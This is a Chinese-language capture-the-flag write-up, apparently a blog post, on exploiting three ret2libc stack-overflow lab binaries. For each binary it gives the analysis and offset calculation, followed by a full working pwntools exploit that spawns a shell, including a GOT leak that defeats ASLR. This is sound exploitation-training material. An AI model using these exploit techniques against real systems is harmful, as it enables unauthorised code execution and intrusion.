栈溢出--ret2libc
ret2libc1
安全属性检查
没有开启canary保护和pie

文件属性检查
动态链接编译的,可能没有足够多的gadget供利用

静态分析
定位到栈溢出的点,main函数在栈中申请了一个局部变量,通过gets函数获取标准输入没有限制输入长度从而造成栈溢出。

漏洞利用思路分析
先看看有没有后门函数,在secure函数中调用了system,但是system("shell!?")并不能获得shell,是个迷惑选项,不过这里由于调用了system,可以看到.plt表中存在了system这一项,可以供利用。

查看下程序中的gadget,只找到了能够给ebx赋值的片段,无法利用ret2syscall的思路进行利用

故可以考虑ret2libc的思路,篡改栈帧上的自返回地址开始的一段区域为一系列gadget的地址,最终调用libc中的函数获取shell
要想实现此利用方式需要几个条件:
- 知道system在.plt节的地址
- 字符串/bin/sh的地址
- 溢出长度
由于未开启pie保护,所以可以直接通过静态分析得到system在.plt节的地址在0x08048460处
全局搜索字符串可以找到/bin/sh的地址为0x08048720

动态分析
通过动态调试可以确定溢出的长度为0xffffd17c-0xffffd10c=112

至此完成利用的所有条件均达成,可以构造出如下的栈结构,其中中间这4字节的垃圾数据的填充是因为调用system函数的时候,需要先push ebp之后才是真正的执行命令的代码,所以system的参数和system地址之间要插入4字节的数据。

exp编写
from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2libc1")
system_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat([b'A'*112,system_addr,b'A'*4,bin_sh_addr])
io.recv()
io.sendline(payload)
io.interactive()
ret2libc2
漏洞利用思路
此题和ret2libc1的溢出点和大体思路差不多。区别在于ret2libc1中存在字符串/bin/sh可以直接作为参数传入给system;而本题没有此字符串。
遇到这种情况的思路是想办法在程序中写入/bin/sh字符串,然后就可以作为参数传递给system了。
此时的问题有两个:
- 字符串写在什么地方可以让system可以访问到
- 如何写入字符串
针对第一个问题:
我们在查找bss段的时候能够发现buf2,buf2的大小足够存放/bin/sh可以作为字符串写入的区域

针对第二个问题:
既然程序的漏洞点产生于调用了gets函数获取标准输入中的内容,那么我们也可以调用libc中的gets函数,获取stdin的输入,保存在buf2中。
此时设计的溢出后的栈排布如下:

exp编写
from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2libc2")
system_addr = 0x08048490
gets_addr = 0x08048460
bin_sh_addr = 0x0804a080
payload = flat([b'A'*112,gets_addr,system_addr,bin_sh_addr,bin_sh_addr])
io.recv()
io.sendline(payload)
io.interactive()
ret2lib3
安全属性检查
没有开启canary保护和pie

文件属性检查
动态链接的,libc路径为/lib/i386-linux-gnu/libc.so.6

静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v4; // [esp+4h] [ebp-11Ch]
int v5; // [esp+8h] [ebp-118h]
char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, buf, 10u);
v8 = strtol(buf, v4, v5); // 字符串转整数
See_something(v8); // 打印v8这个地址的内容
printf("Leave some message for me :");
fflush(stdout);
read(0, src, 0x100u);
Print_message(src); // 打印src字符串
puts("Thanks you ~");
return 0;
}
int __cdecl See_something(const void **a1)
{
return printf("The content of the address : %p\n", *a1);// 打印a1这个地址的内容
}
int __cdecl Print_message(char *src)
{
char dest[56]; // [esp+10h] [ebp-38h] BYREF
strcpy(dest, src); //字符串拷贝使用不安全函数,没有限制源与目的字符串的长度
return printf("Your message is : %s", dest);
}
通过反编译可以发现print_message中的strcpy函数为漏洞产生点,在主函数中src是256字节长度的字符数组,而print_message中的局部变量dest是56字节长度的字符数组,strcpy复制的时候没有限制没有限制源与目的字符串的长度,导致产生了栈溢出漏洞。
漏洞利用思路分析
由于找到的溢出点在print_message函数中,我们需要利用src字符数组的长度比dest长这一点进行利用。
由于导入表中并没有直接调用system函数,故没法像ret2libc2一样使用system@plt达到利用目的。

此时要想达成获取shell的目的需要解决三点问题:
- 怎么调用system函数
- system的参数从哪里获取到
- 溢出的长度
针对第一个问题,根据elf文件的原理可知,当程序调用过一次例如puts的函数后,.got表中保存的就是puts函数在libc中的地址,但是由于aslr的存在,我们没法直接知道puts函数的真实地址。
针对这一点,我们可以利用程序中see_something函数,给see_something函数传入puts函数在.got表的地址,就可以获得到.got表中puts函数的真实地址。
int __cdecl See_something(const void **a1)
{
return printf("The content of the address : %p\n", *a1);// 打印a1这个地址的内容
}
知道了puts函数真实地址之后,我们需要想办法知道system函数的真实地址,这是我们的目的。
由于动态链接库载入到内存时,载入的基址我们不清楚,但是puts函数和system函数之间的相对偏移可以通过文件中两个函数的相对偏移计算而来,故可以利用puts函数的真实地址+偏移 得到system函数的真实地址
针对第二个问题,system函数的参数可以为/bin/sh也可以为sh,都可以达到获取shell的目的。
通过字符串搜索可以找到文件中如fflush字符串包含了sh子串,我们只需要获得s的地址就可以得到sh字符串

动态调试
在跟入到print_message函数中,经过strcpy后观察栈帧的情况,此时eax的地址在0xffffcfe0,ebp的地址为0xffffd018

计算可得溢出字节数为60
>>> 0xffffd018-0xffffcfe0+4
60
>>>
exp编写
from pwn import *
import re
io = process("/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3")
elf = ELF("/home/pwn/桌面/题目/ROP/ret2libc3/ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_addr = elf.got["puts"]
io.sendlineafter(b" :",str(puts_addr))
io.recvuntil(b" : ")
libcBase = int(io.recvuntil(b"\n", drop=True),16) - libc.symbols["puts"]
sh_addr = next(elf.search(b"sh\x00"))
# cyclic作用是生成垃圾数据
payload = flat([cyclic(60), libcBase + libc.symbols["system"], b'A'*4, sh_addr])
io.sendlineafter(b" :",payload)
io.interactive()
注:这里有一个问题,因为我们是本地去打的,所以exp中libc是本地的libc库的版本,如果远程服务器中的libc的版本不同,则会出现本地打的通远程打不通的情况,此时需要知道对方服务器中的libc的版本,根据对方的版本计算偏移。

浙公网安备 33010602011771号